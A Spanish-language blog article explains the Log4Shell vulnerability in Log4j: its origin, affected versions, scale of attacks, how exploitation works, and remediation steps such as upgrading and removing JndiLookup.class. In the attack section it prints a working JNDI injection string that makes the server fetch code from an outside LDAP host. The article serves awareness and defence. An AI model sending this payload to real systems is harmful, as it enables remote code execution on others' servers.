Implicaciones de la vulnerabilidad Log4Shell ¿Estás afectado?

Hace unas semanas que la seguridad informática de la mayoría de empresas del mundo se vio comprometida por un fallo de seguridad de una herramienta que está por todas partes. Este fallo ha supuesto la apertura de una pequeña caja de Pandora, que ha provocado que administradores de sistema de todo el mundo hayan estado trabajando muy duro para mitigar sus efectos.

Meme de log4shell

El uso de esta herramienta es masivo y está en prácticamente en cualquier sistema que use Java. Pero vayamos por partes para entender qué está pasando.

origen del problema

La herramienta que contiene la vulnerabilidad, Log4j, es una famosísima librería de Java que permite escribir logs o registros. Se utiliza para dejar constancia de eventos, problemas, advertencias o cualquier tipo de circunstancia reseñable durante la ejecución de un servicio o una aplicación. Esta librería es de uso libre y está mantenida por Apache Software Foundation. Y es justamente debido a esto su popularidad.

Hace ya unas semanas nos hacíamos eco de la noticia: se había encontrado una vulnerabilidad en Log4j2 que estaba siendo explotada.



Esta vulnerabilidad permite a un atacante tomar el control de una máquina afectada e inyectar código malicioso.

La vulnerabilidad fue descubierta por un ingeniero de Alibaba. Y poco después Microsoft reportó que el problema estaba siendo explotado en el famoso juego Minecraft. A partir de su difusión se ha explotado masivamente en millares de servicios por internet. Para que nos hagamos una idea de la magnitud del problema, se estima que unos 3000 millones de servidores están afectados.

meme de log4shell

Las versiones afectadas de Log4j son de la 2.0-beta9 a la versión 2.14.1.

Si quieres comprobar si tienes algún producto software afectado te dejo este enlace: productos afectados.

Este problema ha puesto en jaque a todo internet, y la preocupación no es exclusiva de las empresas privadas, también concierne gobiernos de todo el mundo, puesto que ya se han reportado ataques gubernamentales con el objetivo de vulnerar sistemas para robar información industrial. Un ejemplo que escenifica la magnitud de este problema es el caso del Departamento de Seguridad Nacional de EEUU (DHS), que ha publicado una directiva indicando que, a las agencias federales, que antes de que finalice el año tienen que realizar una evaluación de todos sus sistemas, y parchear aquellos servicios o equipos que estén afectados. En el mismo informe indican que «CISA ha determinado que esta vulnerabilidad representa un riesgo inaceptable y requiere una acción de emergencia». EEUU cerró el miércoles 15 de diciembre, la sede electrónica de la oficina de patentes debido a esta vulnerabilidad.

el ataque

La explotación de la vulnerabilidad es muy sencilla y cualquier persona con pocos conocimientos podría atacar a un sistema afectado.

Según Cloudflare han llegado a registrar unos 20.000 ataques por minuto. Atacantes de todo el mundo, se han puesto a escanear sistemas en busca de la vulnerabilidad.

Internet, arde.

A continuación, te comento cómo se produce la explotación de la vulnerabilidad.

Esquema de la vulnerabilidad log4shell
Esquema de la vulnerabilidad

Para atacar un sistema vulnerable simplemente hay que realizar una petición GET al servicio afectado con la siguiente sintaxis:

${jndi:ldap://webafectada.com/script_malicioso}

Te dejo algunos ejemplos de la variante inicial para que veas cómo se puede jugar con el problema Log4j:

Ejemplos de las posibles sintaxis para explotar la vulnerabilidad
Ejemplos de las posibles sintaxis para explotar la vulnerabilidad

Una vez enviada la petición, el firewall de aplicaciones va dejarla pasar puesto que es reconocida como una petición legitima. Después Log4j parseará la petición y comprobará que es de tipo LDAP, y le pasará a éste la consulta. LDAP responderá con la clase del código java malicioso, la que has inyectado. Y finalmente Java ejecutará tu código.

pasos para resolver el problema

Lo primero es comprobar si tus sistemas o productos están afectados. Te vuelvo a incluir un enlace para que compruebes si usas alguno de los siguientes softwares que están afectados: productos afectados.

También puede escanear tus servidores en busca de la librería afectada.

En Windows usando PowerShell:

Get-WmiObject Win32_Process | Select-Object CommandLine | findstr java 

Get-WmiObject Win32_Process | Select-Object CommandLine | findstr log4j 

Para Linux te dejo unos scripts de la firma de seguridad Truesec: Log4j Checker.

Si detectas que tienes algún producto afectado, te recomiendo ir a la página del fabricante y consultar las notas de seguridad que ofrecen. Si tienes desarrollos propios y usas esta librería, ya puedes descargar desde la página de Apache la última versión 2.17 que soluciona el problema (o 2.12.3 si usas Java 7).

¿Y si no puedes parchear? En ese caso puedes optar por una solución drástica, y es coger el .jar de Log4j abrirlo con WinRAR, 7-Zip o similares, y eliminar la clase JndiLookup.class.

En cuanto tengas asegurados tus sistemas te recomiendo estar alerta. Esto significa estar pendientes de los logs de tus sistemas en busca de anomalías. Por si acaso, también puedes preparar la lista de pasos que tienes que dar por si se diera algún ataque.

Te dejo algunos recursos que podrían ser de tu interés: